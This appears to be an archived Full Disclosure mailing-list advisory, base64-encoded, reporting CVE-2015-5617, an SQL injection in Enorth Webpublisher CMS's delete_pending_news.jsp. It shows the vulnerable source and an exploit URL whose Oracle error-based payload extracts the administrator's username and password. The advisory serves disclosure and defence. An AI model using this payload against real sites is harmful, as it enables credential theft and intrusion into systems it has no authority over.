[CVE-2015-5617]Enorth Webpublisher CMS SQL Injection from delete_pending_news.jsp cbNewsid
xin.wang <xin.wang-8GNu1MUMqW6J1ku80POtVW/[email protected]> Thu, 13 Aug 2015 17:29:54 +0800
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.full-disclosure,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <[email protected]> |
VGl0bGU6Cj09PT0KW0NWRS0yMDE1LTU2MTddRW5vcnRoIFdlYnB1Ymxpc2hlciBDTVMgIFNRTCBJ bmplY3Rpb24gZnJvbSBkZWxldGVfcGVuZGluZ19uZXdzLmpzcCBjYk5ld3NpZCAKCgpWZW5kb3I6 Cj09PT09PQpodHRwOi8vcHJvZHVjdHMuZW5vcnRoLmNvbS5jbi9iZm5yZ2x4dC9pbmRleC5zaHRt bApFbm9ydGggV2VicHVibGlzaGVyIENNUyBzbyBmYXIgb2YgdGhlIHNjYWxlIG9mIHRlbnMgb2Yg dGhvdXNhbmRzIG9mIHdlYiBzaXRlcywgd2l0aCB0aGUgZ292ZXJubWVudCwgZW50ZXJwcmlzZXMs IHNjaWVudGlmaWMgcmVzZWFyY2ggYW5kIGVkdWNhdGlvbiBhbmQgbWVkaWEgaW5kdXN0cmllcyBm aWVsZHMgc3VjaCBhcyBuZWFybHkgdGhvdXNhbmRzIG9mIGJ1c2luZXNzIHVzZXJzLiAKCgpWZXJz aW9ucyBBZmZlY3RlZDogCj09PT09PT09PT09PT09CkFsbCB2ZXJzaW9ucwoKCkF1dGhvcjogCj09 PT09PQp4aW4ud2FuZyh4aW4ud2FuZyhhdClkYmFwcHNlY3VyaXR5LmNvbS5jbikKCgpWdWxuZXJh YmlsaXR5IERlc2NyaXB0aW9uOgo9PT09PT09PT09PT09PT09PT09PQovcHViL21fcGVuZGluZ19u ZXdzL2RlbGV0ZV9wZW5kaW5nX25ld3MuanNwCjwlClN0cmluZ1tdIG5ld3NJZEdyb3VwOwoKbmV3 c0lkR3JvdXAgPSByZXF1ZXN0LmdldFBhcmFtZXRlclZhbHVlcygiY2JOZXdzSWQiKTsKaWYgKG5l d3NJZEdyb3VwID09IG51bGwgfHwgbmV3c0lkR3JvdXAubGVuZ3RoID09IDApIHsKICB0aHJvdyBu ZXcgUDNFeGNlcHRpb24oIm1ieF9uZXdzX3N1Ym1pdF9lbXB0eV9uZXdzX2lkIik7Cn0gZWxzZSB7 CiAgICBwZW5UcmFuLmRlbGV0ZVBlbmRpbmdOZXdzKG5ld3NJZEdyb3VwKTsKfQolPgoKL1dFQi1J TkYvY2xhc3Nlcy9jbi9jb20vZW5vcnRoL3B1YjMvbV9uZXdzL1BlbmRpbmdOZXdzQmVhbi5jbGFz cwoKICBwdWJsaWMgdm9pZCBkZWxldGVQZW5kaW5nTmV3cyhTdHJpbmdbXSBuZXdzSWRzKSB0aHJv d3MgRXhjZXB0aW9uIHsKICAgIENvbm5lY3Rpb24gY24gPSBudWxsOwogICAgUHJlcGFyZWRTdGF0 ZW1lbnQgcHN0bSA9IG51bGw7CiAgICB0cnkgewogICAgICBTdHJpbmdCdWZmZXIgYnVmID0gbmV3 IFN0cmluZ0J1ZmZlcigpOwogICAgICBidWYuYXBwZW5kKCJkZWxldGUgZnJvbSB0bl9wZW5kaW5n X25ld3Mgd2hlcmUgbmV3c19pZCBpbiAoIik7CiAgICAgIGludCBpID0gMDsgZm9yIChpbnQgbGVu ID0gbmV3c0lkcy5sZW5ndGg7IGkgPCBsZW47IGkrKykgewogICAgICAgIGJ1Zi5hcHBlbmQobmV3 c0lkc1tpXSkuYXBwZW5kKCIsIik7CiAgICAgIH0KICAgICAgYnVmLmFwcGVuZCgiLTEpIik7CiAg ICAgIGNuID0gUDNEQlRvb2xzLmdldFB1YkNvbm5lY3Rpb24oKTsKICAgICAgcHN0bSA9IGNuLnBy ZXBhcmVTdGF0ZW1lbnQoYnVmLnRvU3RyaW5nKCkpOwogICAgICBwc3RtLmV4ZWN1dGVVcGRhdGUo KTsvL+aJp+ihjAogICAgICBjbi5jb21taXQoKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBleCkg ewogICAgICBQM0RCVG9vbHMucm9sbGJhY2soY24pOwogICAgICB0aHJvdyBleDsKICAgIH0gZmlu YWxseSB7CiAgICAgIFAzREJUb29scy5mcmVlQ29ubmVjdGlvbihjbik7CiAgICB9CiAgfQp9CgoK RXhwbG9pdDoKPT09PT09Cmh0dHA6Ly93ZWJzaXRlLmNvbS9wdWIvbV9wZW5kaW5nX25ld3MvZGVs ZXRlX3BlbmRpbmdfbmV3cy5qc3A/Y2JOZXdzSWQ9MjIyMiklMjBhbmQlMjAxPWN0eHN5cy5kcml0 aHN4LnNuKDEsKHNlbGVjdCUyMFVTRVJfTkFNRXx8UEFTU19XT1JEJTIwZnJvbSUyMFROX1VTRVIl MjBXSEVSRSUyMFVTRVJfSUQ9MSkp4oCUCgoKClZ1bG5lcmFiaWxpdHkgRGlzY2xvc3VyZSBUaW1l bGluZToKCj09PT09PT09PT09PT09PT09PT09PT09PT09PQoyMDE1LTA3LTI4ICAgICAgICBGb3Vu ZCBUaGUgVnVsbmVyYWJpbGl0eQoyMDE1LTA4LTAyICAgICAgICBTdWJtaXR0ZWQgVG8gVGhlIFZl bmRvcgoyMDE1LTA4LTAzICAgICAgICBGaXhlZAoyMDE1LTA4LTEzICAgICAgICBQdWJsaWMgRGlz Y2xvc3VyZQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCgoKX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KU2VudCB0aHJvdWdoIHRo ZSBGdWxsIERpc2Nsb3N1cmUgbWFpbGluZyBsaXN0Cmh0dHBzOi8vbm1hcC5vcmcvbWFpbG1hbi9s aXN0aW5mby9mdWxsZGlzY2xvc3VyZQpXZWIgQXJjaGl2ZXMgJiBSU1M6IGh0dHA6Ly9zZWNsaXN0 cy5vcmcvZnVsbGRpc2Nsb3N1cmUv